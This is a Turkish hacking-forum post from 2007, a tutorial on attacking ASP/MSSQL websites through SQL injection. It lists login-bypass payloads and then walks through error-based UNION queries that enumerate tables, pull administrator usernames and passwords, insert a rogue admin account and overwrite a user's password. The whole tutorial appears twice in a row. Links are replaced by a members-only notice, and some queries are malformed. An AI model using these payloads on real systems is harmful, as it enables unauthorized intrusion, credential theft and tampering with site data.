FaTaLiST
10-05-2007, 04:49 PM
Merhaba arkadaşlar.Bu konuda sizlere sql injection saldırıları hakkında bilgiler sunacağım.Döküman alıntı değildir.(ruhemici tarafından hazırlanmıştır)
SQL Nedir?
Açılımı açılımı Structured Query Language(Yapısal sorgu dili)'dir.Sql ibm tarafından geliştirilmiş bir veritabanı dilidir.Bilindiği gibi asp,php gibi
programlama dilleri veritabanı kulanır.Veritabanlarında tablolar saklanır ve bu tablolarda çeşitli bilgiler üye vs. bulunur.Sql istenilen bilgileri sorgulama
türüne göre kullanıcıya sunar.Sql injection olayı da burada ortaya çıkar.
Sql Injection Nedir?
Basit olarak tanımlayacak olursak,veritabanı kullanan sitelerde bulunan kod açıklarından faydalanarak bazı kod girişleriyle
sql'nin istediğimiz komutları çalıştırmasıdır.Örneğin;sitelerdeki üye girişi sayfalarında kullanıcı adı ve şifresiyle kişinin
üye olup olmadığı veritabanına sorulur.Sql injection sql sorgusunu değiştirerek istediğimiz bilgiyi almamıza olanak verir.
Sql Injection Açıklarını Bulmak
Bu açıkları kullanıcıların bilgi gönderdiği yerlerde bulabiliriz.Yorum sayfaları,kullanıcı girişleri...Asp,php kullanılmış
sayfalarda bazı sayflar parametre alır.Mesela ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Html sayfalarında ise durum farklıdır.Html sayfalarında sayfa adresinde parametreleri göremezsiniz.Bu yüzden sayfanın kaynak kodlarını
inceleriz.Kaynak kodlarında form etiketini aramalıyız.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Bir sayfada açık olup olmadığını nasıl anlayabiliriz?
Bunun için tek tırnak hilesi kullanılır.Adres kısmına tek tırnak yazın.Eğer ODBC hatası verirse o siteye sql injection
saldırısı yapılabilir.Ancak,hepsinde olacak diye de bir kaide yoktur.ODBC hatalarıyla birçok bilgiye ulaşılabilir.
admin’--
’ or 0=0 --
" or 0=0 --
or 0=0 --
’ or 0=0 #
" or 0=0 #
or 0=0 #
’ or ’x’=’x
" or "x"="x
’) or (’x’=’x
’ or 1=1--
" or 1=1--
or 1=1--
’ or a=a--
" or "a"="a
’) or (’a’=’a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi’ or 1=1 --
hi’ or ’a’=’a
hi’) or (’a’=’a
hi") or ("a"="a
gibi kodlarla da sql hata vermeye zorlanabilir.Bu kodları yazmaktaki amaç sql'nin normal şartlarda bize sunmadığı bilgileri
sunmasını sağlamaktır.Örneğin tablo isimleri gibi.
Tablo isimlerini öğrenelim
Sitemiz Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 olsun.
Şimdi ilk tablonun ismini öğrenelim.Adresin sonuna şu kodu eklemeliyiz.
Kod:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
Yani son hali şu şekilde olacak ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
INFORMATION_SCHEMA.TABLES tüm tabloların bilgisini saklıyor.Tablolar hakkında henüz bilgimiz olmadığı için bunu kullandık.
TOP 1 TABLE_NAME ise 1.tablodur.UNION ise hata vermesi için kullanılır.-- ise işlemi sonlandırmak içindir.
Enter'a bastığımızda şöyle bir hata veriyor olacak.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Gördüğünüz gibi bize 1.tablo adının ruh olduğunu söyledi.
Sonraki tablonun adını almak için kodumuz ;
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’ruh')–
Mesela içinde user geçen tablonunu adını almak için ;
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25user%25’--
Böyle bir hata ile karşılaşacağız.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
İçinde admin geçenler için mesela aynı şey geçerli.
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25admin%25’--
TABLES WHERE TABLE_NAME LIKE ’%25admin%25’ içinde admin gibi kelimeler olan tabloları göster demektir.
Böylece hatamız;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Şu anda admins isimli bir tablo bulduk.Şimdi sütun isimlerini öğreneceğiz.
Sütun isimlerini öğrenmek
Bunun için INFORMATION_SCHEMA.COLUMNS kullanılacak.
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Admins tablosundaki ilk sütun logon.
Şimdi diğer sütunun ismine bakalım.
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logon’)--
Kod bu.Hatamız ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Diğer sütunun ismi LogonID imiş.Tablo ve sütun isimlerini öğrendik.Şimdi de kullanıcı adı ve şifreleri öğrenelim.
Kullanıcı adı ve şifreler
İlk önce admins tablosunun ilk sütunu olan logon'a bakalım.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 logon FROM admins--
Hata ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
kullanıcı adı star.Üstelik yetkili.Şifresini bulmak için ise ;
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 password FROM admins where logon=’ star ’--
Hatamız ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
star kullanıcısın şifresi hack.
Yeni bir kullanıcı eklemek
Bunun için ;
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5; INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’Ruhemici’,’ruh’,’NA’)--
Kullanıcı adı : Ruhemici
Şifre : ruh
olan bir kullanıcı veritabanına eklenmiş oldu.
Veritabanındaki bir veriyi değiştirmek
Mesela az önce bulduğumuz star kullanıcısının şifresini değiştirelim.
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5; UPDATE ’admins’ SET ’password’ = ’yenisifre’ WHERE loginname=’star’--
Böylece şifreyi yenişifre olarak değiştirmiş olduk.
Sayısal bilgilere ulaşmak
Az önce star kullanıcısının şifresini hack olarak bulduk.Ancak şifre eğer sayılardan oluşuyorsa durum değişir.Kodu uyguladığımızda
bir hata vermeyecektir.Bunun için hata vermeyi garantilememiz gerekir.
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 convert(int, password%2b’%20bilgisayar’) FROM admins where login_name=’star2‘–
star2 kullanıcısı diye bir kullanıcı olduğunu varsayalım.+ işareti(%2b ASCII kod karşılığı) ile bilgisayar kelimesiyle birleştirdik.Şifre sadece sayı olsa bile biz bunu
bir kelime ile birleştirip sayısal bir değere dönüştürmesini sağladık ve sonuç ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
star2 kullanıcısının şifresi 123456
Dökümanın sonu.Umarım faydalı olabilmişimdir.Bu arada örneklerde asp kullanıldı ancak sql php'de de çalışır.
SQL Nedir?
Açılımı açılımı Structured Query Language(Yapısal sorgu dili)'dir.Sql ibm tarafından geliştirilmiş bir veritabanı dilidir.Bilindiği gibi asp,php gibi
programlama dilleri veritabanı kulanır.Veritabanlarında tablolar saklanır ve bu tablolarda çeşitli bilgiler üye vs. bulunur.Sql istenilen bilgileri sorgulama
türüne göre kullanıcıya sunar.Sql injection olayı da burada ortaya çıkar.
Sql Injection Nedir?
Basit olarak tanımlayacak olursak,veritabanı kullanan sitelerde bulunan kod açıklarından faydalanarak bazı kod girişleriyle
sql'nin istediğimiz komutları çalıştırmasıdır.Örneğin;sitelerdeki üye girişi sayfalarında kullanıcı adı ve şifresiyle kişinin
üye olup olmadığı veritabanına sorulur.Sql injection sql sorgusunu değiştirerek istediğimiz bilgiyi almamıza olanak verir.
Sql Injection Açıklarını Bulmak
Bu açıkları kullanıcıların bilgi gönderdiği yerlerde bulabiliriz.Yorum sayfaları,kullanıcı girişleri...Asp,php kullanılmış
sayfalarda bazı sayflar parametre alır.Mesela ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Html sayfalarında ise durum farklıdır.Html sayfalarında sayfa adresinde parametreleri göremezsiniz.Bu yüzden sayfanın kaynak kodlarını
inceleriz.Kaynak kodlarında form etiketini aramalıyız.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Bir sayfada açık olup olmadığını nasıl anlayabiliriz?
Bunun için tek tırnak hilesi kullanılır.Adres kısmına tek tırnak yazın.Eğer ODBC hatası verirse o siteye sql injection
saldırısı yapılabilir.Ancak,hepsinde olacak diye de bir kaide yoktur.ODBC hatalarıyla birçok bilgiye ulaşılabilir.
admin’--
’ or 0=0 --
" or 0=0 --
or 0=0 --
’ or 0=0 #
" or 0=0 #
or 0=0 #
’ or ’x’=’x
" or "x"="x
’) or (’x’=’x
’ or 1=1--
" or 1=1--
or 1=1--
’ or a=a--
" or "a"="a
’) or (’a’=’a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi’ or 1=1 --
hi’ or ’a’=’a
hi’) or (’a’=’a
hi") or ("a"="a
gibi kodlarla da sql hata vermeye zorlanabilir.Bu kodları yazmaktaki amaç sql'nin normal şartlarda bize sunmadığı bilgileri
sunmasını sağlamaktır.Örneğin tablo isimleri gibi.
Tablo isimlerini öğrenelim
Sitemiz Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 olsun.
Şimdi ilk tablonun ismini öğrenelim.Adresin sonuna şu kodu eklemeliyiz.
Kod:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
Yani son hali şu şekilde olacak ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
INFORMATION_SCHEMA.TABLES tüm tabloların bilgisini saklıyor.Tablolar hakkında henüz bilgimiz olmadığı için bunu kullandık.
TOP 1 TABLE_NAME ise 1.tablodur.UNION ise hata vermesi için kullanılır.-- ise işlemi sonlandırmak içindir.
Enter'a bastığımızda şöyle bir hata veriyor olacak.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Gördüğünüz gibi bize 1.tablo adının ruh olduğunu söyledi.
Sonraki tablonun adını almak için kodumuz ;
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’ruh')–
Mesela içinde user geçen tablonunu adını almak için ;
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25user%25’--
Böyle bir hata ile karşılaşacağız.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
İçinde admin geçenler için mesela aynı şey geçerli.
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25admin%25’--
TABLES WHERE TABLE_NAME LIKE ’%25admin%25’ içinde admin gibi kelimeler olan tabloları göster demektir.
Böylece hatamız;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Şu anda admins isimli bir tablo bulduk.Şimdi sütun isimlerini öğreneceğiz.
Sütun isimlerini öğrenmek
Bunun için INFORMATION_SCHEMA.COLUMNS kullanılacak.
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Admins tablosundaki ilk sütun logon.
Şimdi diğer sütunun ismine bakalım.
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logon’)--
Kod bu.Hatamız ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
Diğer sütunun ismi LogonID imiş.Tablo ve sütun isimlerini öğrendik.Şimdi de kullanıcı adı ve şifreleri öğrenelim.
Kullanıcı adı ve şifreler
İlk önce admins tablosunun ilk sütunu olan logon'a bakalım.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 logon FROM admins--
Hata ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
kullanıcı adı star.Üstelik yetkili.Şifresini bulmak için ise ;
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 password FROM admins where logon=’ star ’--
Hatamız ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
star kullanıcısın şifresi hack.
Yeni bir kullanıcı eklemek
Bunun için ;
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5; INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’Ruhemici’,’ruh’,’NA’)--
Kullanıcı adı : Ruhemici
Şifre : ruh
olan bir kullanıcı veritabanına eklenmiş oldu.
Veritabanındaki bir veriyi değiştirmek
Mesela az önce bulduğumuz star kullanıcısının şifresini değiştirelim.
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5; UPDATE ’admins’ SET ’password’ = ’yenisifre’ WHERE loginname=’star’--
Böylece şifreyi yenişifre olarak değiştirmiş olduk.
Sayısal bilgilere ulaşmak
Az önce star kullanıcısının şifresini hack olarak bulduk.Ancak şifre eğer sayılardan oluşuyorsa durum değişir.Kodu uyguladığımızda
bir hata vermeyecektir.Bunun için hata vermeyi garantilememiz gerekir.
Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 convert(int, password%2b’%20bilgisayar’) FROM admins where login_name=’star2‘–
star2 kullanıcısı diye bir kullanıcı olduğunu varsayalım.+ işareti(%2b ASCII kod karşılığı) ile bilgisayar kelimesiyle birleştirdik.Şifre sadece sayı olsa bile biz bunu
bir kelime ile birleştirip sayısal bir değere dönüştürmesini sağladık ve sonuç ;
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
star2 kullanıcısının şifresi 123456
Dökümanın sonu.Umarım faydalı olabilmişimdir.Bu arada örneklerde asp kullanıldı ancak sql php'de de çalışır.